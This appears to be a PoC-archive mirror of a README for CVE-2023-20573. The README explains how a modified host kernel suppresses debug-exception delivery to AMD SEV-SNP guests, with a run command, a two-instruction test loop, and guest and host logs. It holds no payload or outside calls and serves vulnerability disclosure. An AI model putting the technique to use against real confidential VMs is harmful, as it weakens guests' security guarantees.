Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2023-20573 PoC — Debug Exception Delivery in Secure Nested Paging

Source
Associated Vulnerability
Title:Debug Exception Delivery in Secure Nested Paging (CVE-2023-20573)
Description:A privileged attacker can prevent delivery of debug exceptions to SEV-SNP guests potentially resulting in guests not receiving expected debug information.
Readme
### PoC Usage

This repo contains a VMM that boots an SEV-SNP guest with a custom kernel. The VMM and kernel are a stripped-down version of a project of mine. A modified Linux kernel is required to run on the host: https://github.com/Freax13/linux/tree/for-amd.

The Proof of Concept can be run like this:
```bash
cd host
cargo run -p vmm
```

### Explanation

This code jumps back and forth between two instructions:

```assembly
2:
    nop
    jmp 2b
```

When the TF flag is set in the FLAGS registers exceptions should be generated with the instruction pointer alternating between the two instructions.

The guest kernel defines an exception handler that simply logs the instruction pointer reported in the interrupt stack frame. In theory, the logs should look like this:
```
...
[INFO  kernel/src/exception.rs:50] nop
[INFO  kernel/src/exception.rs:56] jmp
[INFO  kernel/src/exception.rs:50] nop
[INFO  kernel/src/exception.rs:56] jmp
[INFO  kernel/src/exception.rs:50] nop
[INFO  kernel/src/exception.rs:56] jmp
[INFO  kernel/src/exception.rs:50] nop
[INFO  kernel/src/exception.rs:56] jmp
[INFO  kernel/src/exception.rs:50] nop
[INFO  kernel/src/exception.rs:56] jmp
[INFO  kernel/src/exception.rs:50] nop
[INFO  kernel/src/exception.rs:56] jmp
...
```

However, in practice, the modified host kernel suppresses reinjection that results in the following logs:
```
...
[INFO  kernel/src/exception.rs:56] jmp
[INFO  kernel/src/exception.rs:50] nop
[INFO  kernel/src/exception.rs:56] jmp
[INFO  kernel/src/exception.rs:50] nop
[INFO  kernel/src/exception.rs:50] nop
[INFO  kernel/src/exception.rs:53] last instruction was also nop
[INFO  kernel/src/exception.rs:56] jmp
[INFO  kernel/src/exception.rs:50] nop
[INFO  kernel/src/exception.rs:56] jmp
[INFO  kernel/src/exception.rs:50] nop
[INFO  kernel/src/exception.rs:56] jmp
[INFO  kernel/src/exception.rs:50] nop
[INFO  kernel/src/exception.rs:56] jmp
[INFO  kernel/src/exception.rs:56] jmp
[INFO  kernel/src/exception.rs:59] last instruction was also jmp
[INFO  kernel/src/exception.rs:50] nop
[INFO  kernel/src/exception.rs:56] jmp
[INFO  kernel/src/exception.rs:50] nop
...
```

The suppressed events will show up in the host kernel logs:
```
...
[798678.660473] kvm_amd: exit_int_info=80000301 exit_info_1=500000004 exit_info_2=180000000 exit_code=400
[798678.678645] kvm_amd: exit_int_info=80000301 exit_info_1=500000004 exit_info_2=180000000 exit_code=400
[798678.680906] kvm_amd: exit_int_info=80000301 exit_info_1=500000004 exit_info_2=180000000 exit_code=400
[798678.683491] kvm_amd: exit_int_info=80000301 exit_info_1=500000004 exit_info_2=180000000 exit_code=400
[798678.700844] kvm_amd: exit_int_info=80000301 exit_info_1=500000004 exit_info_2=180000000 exit_code=400
[798678.712970] kvm_amd: exit_int_info=80000301 exit_info_1=500000004 exit_info_2=180000000 exit_code=400
...
```

This demonstrates that delivery of the #DB exception was suppressed.
File Snapshot

[4.0K] /data/pocs/d257fe62e01d4508a193f84efdc4034f572f8ef0 ├── [4.0K] common │   ├── [4.8K] Cargo.lock │   ├── [ 287] Cargo.toml │   ├── [4.0K] constants │   │   ├── [ 153] Cargo.lock │   │   ├── [ 286] Cargo.toml │   │   └── [4.0K] src │   │   └── [ 167] lib.rs │   ├── [4.0K] loader │   │   ├── [1.2K] build.rs │   │   ├── [ 414] Cargo.toml │   │   └── [4.0K] src │   │   ├── [4.5K] elf.rs │   │   ├── [ 258] kernel.rs │   │   └── [1.4K] lib.rs │   └── [4.0K] snp-types │   ├── [ 405] Cargo.toml │   └── [4.0K] src │   ├── [3.1K] cpuid.rs │   ├── [4.0K] ghcb │   │   └── [6.3K] msr_protocol.rs │   ├── [4.7K] ghcb.rs │   ├── [1.9K] guest_policy.rs │   ├── [ 185] intercept.rs │   └── [2.2K] lib.rs ├── [4.0K] host │   ├── [ 117] build.rs │   ├── [ 10K] Cargo.lock │   ├── [ 351] Cargo.toml │   └── [4.0K] vmm │   ├── [ 698] Cargo.toml │   └── [4.0K] src │   ├── [ 24K] kvm.rs │   ├── [ 13K] lib.rs │   ├── [ 102] main.rs │   └── [4.1K] slot.rs ├── [1.0K] LICENSE ├── [ 199] poc.code-workspace ├── [2.9K] README.md ├── [ 91] rust-toolchain.toml ├── [ 107] shell.nix └── [4.0K] tee ├── [3.4K] Cargo.lock ├── [ 281] Cargo.toml └── [4.0K] kernel ├── [ 213] build.rs ├── [ 528] Cargo.toml ├── [1.4K] linker.ld └── [4.0K] src ├── [ 238] cpuid.rs ├── [4.0K] exception │   └── [4.1K] vc.rs ├── [1.6K] exception.rs ├── [3.6K] ghcb.rs ├── [ 968] main.rs ├── [6.5K] pagetable.rs ├── [ 165] panic.rs ├── [ 664] reset_vector.rs ├── [5.8K] reset_vector.s └── [1.3K] serial_logger.rs 15 directories, 45 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →